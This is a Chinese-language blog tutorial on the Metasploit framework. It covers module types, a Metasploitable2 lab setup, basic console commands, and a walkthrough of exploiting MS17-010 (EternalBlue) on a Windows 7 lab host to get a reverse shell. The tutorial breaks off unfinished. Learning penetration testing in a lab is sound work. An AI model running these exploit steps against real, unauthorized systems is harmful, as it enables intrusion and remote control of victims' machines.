Metasploit(MSF)渗透测试框架使用教程及基本命令

第一章 Metasploit渗透框架介绍及体系框架

1.1 Metasploit 渗透测试框架介绍

  Metasploit 是一个渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一。使您能够查找,利用和验证漏洞。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。Metasploit的设计初衷是打造成一个攻击工具开发平台。

1.2 Metasploit 体系框架

在这里插入图片描述模块:模块组织按照不同的用途分为6种类型的模块
分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。

:后渗透攻击模块(Post):在渗透攻击模块拿到目标shell权限后,进行进一步攻击的叫做后渗透攻击模块。
:攻击载荷模块(payload):payload模块主要是用来建立目标机与攻击机稳定的连接。 通过攻击模块成功后利用payload可以返回一个shell,也可以进行程序注入等。

接口:msfconsole控制终端命令、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口

第二章 靶机搭建及Metasploit框架启动

2.1 Metasploitable2-Linux 靶机系统介绍

Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计 作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware,VirtualBox和其他虚拟平台。

2.2 Metasploitable2-Linux 靶机系统安装

Metasploitable2-Linux 靶机系统下载链接
1.下载完后直接解压缩到当前文件夹
在这里插入图片描述
2.打开Vmware后点击“打开虚拟机” ,如图:在这里插入图片描述
3.打开“Metasploitable.vmx”虚拟机文件
在这里插入图片描述
4.开启虚拟机
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
使用普通用户:msfadmin 密码:msfadmin 进行登录
进去系统后使用命令:

#sudu passwd root		//修改root管理员密码

修改root密码完成后使用命令:

#su root		//切换root账户

配置静态IP :

#vim /etc/network/interfaces		//修改网卡配置
------------------------------
#iface eth0 inet static
#address IP
#netmask 子网掩码
#gateway 网关
------------------------------

重启网卡配置:

#/etc/init.d/networking restart		//重启网卡配置

2.3 启动 Metasploit 框架


Metasploit 程序需要使用Postgresql数据库,Kali自带Postgresql数据库

Postgresql 概述:
Postgresql是世界上最先进的开源关系型数据库
官网:https://www.postgresql.org/


启动三项:
启动Postgresql 数据库命令:systemctl start postgresql
开机自启动Postgresql命令:systemctl enable postgresql
启动Metasploit框架命令:msfconsole
在这里插入图片描述
出现“ msf6 > ”证明Metasploit框架启用成功,现在可以进行操作了,可以参考命令文档进行操作。

第三章 Metasploit框架基本使用方法

3.1 帮助(help)

#help

Core Commands 核心命令
Module Commands 模块命令
Job Commands 后台任务命令

Resource Commands 资源脚本命令
Database Backend Commands 数据库后端命令
Credentials Backend Commands 证书凭证后端命令
Developer Commands 开发人员相关命令

3.2 连接(connect)

Connect 为核心命令。使用方法:

#connect 192.168.1.1 80  //连接192.168.1.1的80端口
#get /
-------------------------------
HTTP/1.1 400 Page not found
Server: GoAhead-Webs
Date: Tue Mar 30 22:15:02 2021
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
-------------------------------

3.3 列出(show)

show 命令列出所有渗透攻击模块。
show命令有效参数:all,encoders,exploits,payloads,auxiliary,post,plugins,info,options,targets

#show all   //列出所有渗透攻击模块

3.4 搜索(search)

search 命令:

#search mysql //搜索mysql相关漏洞模块
#search name:mysql //查找mysql漏洞模块
#search type:exploit //搜索exploit类型模块
#search cve:CVE-2017-8464 //搜索CVE漏洞
#search cve:2018 name:linux //搜索2018年linux漏洞模块

search表单含义:

Name Disclosure Date Rank Check Description
名称   披露日期   等级  检查   说明

Rank 通常用来描述漏洞级别,每个漏洞利用模块基于它们对目标系统的影响都被标记了一个Rank字段。

Rank 按照可靠性降序排列:

  1. great 该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址;
  2. good 该漏洞利用程序有个默认的目标系统,并且是这种类型软件的“常见情况“(桌面应用程序的Windows 7,服务器的2012等);
  3. normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能可靠地自动检测。
  4. average 该漏洞利用程序不可靠或难以利用;
  5. low 对于通用的平台而言该漏洞程序几乎不能利用(或者低于50%的利用成功率);
  6. manual 该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS);

3.5 使用(use)

命令:

#use 模块的Name  //调用装载该模块
#back  //退出当前调用的模块。
#info  //查看Rank等级、发布时间、可复现的目标系统
#run	 //执行exploit

第四章 模块整体使用流程

4.1 模块使用流程四步法

在这里插入图片描述

第一步 确定漏洞,已知漏洞,例:MS17-010;
第二步 查找模块,search MS17-010;
第三步 配置模块程序,use exploit、set payload、set 参数;
第四步 执行模块程序,exploit,run;

第五章 实战-使用msf渗透攻击Win7主机

5.1 第一步-确定目标及漏洞

目标:192.168.1.131
漏洞:MS17-010
目的:拿到最高权限,进行远程代码执行
在这里插入图片描述

在这里插入图片描述
用nmap扫描主机开放445端口,接下用msf测试一下漏洞是否存在。

5.2 第二步-查找验证模块并且调用

使用#msfconsole命令调用Metasploit框架,如图:
在这里插入图片描述

使用#search MS17-010命令,搜索查找MS17-010漏洞模块,如图:
在这里插入图片描述
这里我们先选择#1的auxiliary(辅助模块)先进行踩点,查看漏洞是否可以利用,再去进行渗透攻击。

#use auxiliary/scanner/smb/smb_ms17_010  //调用此模块

如图:
在这里插入图片描述

使用#show options 命令,查看需要设置的选项(Required为yes是必须设置的选项)。
在这里插入图片描述
使用#set RHOSTS 192.168.1.131 命令,设置目标地址。
在这里插入图片描述
最后使用#run命令去运行查看漏洞是否存在
在这里插入图片描述
Host is likely VULNERABLE to MS17-010! 这个主机存在MS17-010漏洞,可以去利用。
检测到该目标操作系统是Windows 7 专业版
接下来我们可以利用exploits模块进行渗透攻击。

5.3 第三步-利用exploist模块进行渗透

第二步骤的时候检测到目标存在该漏洞,现在我们开始进行渗透。
先使用#back命令退出辅助模块,如图:
在这里插入图片描述
使用#search MS17-010命令,搜索MS17-010模块,如图:
在这里插入图片描述
我们在第二步的时候使用的是auxiliary模块进行的漏洞检测,这回我们使用exploit模块进行漏洞利用。这里我们选择#2

#use exploit/windows/smb/ms17_010_eternalblue

在这里插入图片描述
使用#show options命令,查看需要设置的参数,如图:
在这里插入图片描述
这里我们看见多出一个payload选项,这个选项的用处主要是渗透攻击成功后目标机与LHOST建立的Shell连接,所以LHOST参数设置我们自己本地的IP地址,RHOSTS参数还是目标IP

#set RHOSTS 192.168.1.131   //设置exploit,目标IP
#set LHOST 192.168.1.138  //设置payload

如图:
在这里插入图片描述
最后使用#run命令去运行exploit
在这里插入图片描述
显示192.168.1.138:4444 -> 192.168.1.131:49160 我们已经所渗透成功了,现在我们已经拿到目标机的Shell了。
我们可以使用#shell命令,在目标机打开一个shell。
在这里插入图片描述
如果显示乱码,用#chcp 65001命令,改成UTF-8代码页。
在这里插入图片描述

未完!

  • 5
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
Kali是一个被广泛应用于渗透测试网络安全Linux发行版。而Metasploit Framework(MSF)是一个开源的渗透测试框架,它提供了一系列功能强大的工具和资源,帮助渗透测试人员实施攻击并评估系统的安全性。 在Kali中,可以使用Metasploit Framework来进行渗透测试,以测试目标系统的安全性。下面是进入MSF的步骤: 1. 打开终端:首先,在Kali Linux中打开一个终端窗口。你可以使用快捷键Ctrl+Alt+T来打开终端,或者在菜单中找到终端应用。 2. 启动MSF控制台:在终端中输入msfconsole并按下回车键,这将启动Metasploit Framework控制台。 3. 更新MSF:在控制台中,输入命令msfupdate并按下回车键,这将确保你使用的是最新的Metasploit Framework版本。 4. 选择攻击模块:通过输入命令use来选择你想要使用的攻击模块。例如,如果你想要使用一个特定的漏洞攻击模块,可以输入use exploit/[exploit_name]命令。 5. 设置攻击选项:根据选定的攻击模块,通过输入set命令来设置攻击选项。这些选项可能包括目标IP地址、端口等。 6. 运行攻击:通过输入命令exploit来运行已设置好的攻击。控制台将显示攻击的进展情况,并提供相关的反馈信息。 需要注意的是,在进行渗透测试时,务必遵循法律和道德规范,并且只能在授权范围内对系统进行测试。任何未经授权的攻击行为都是非法的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值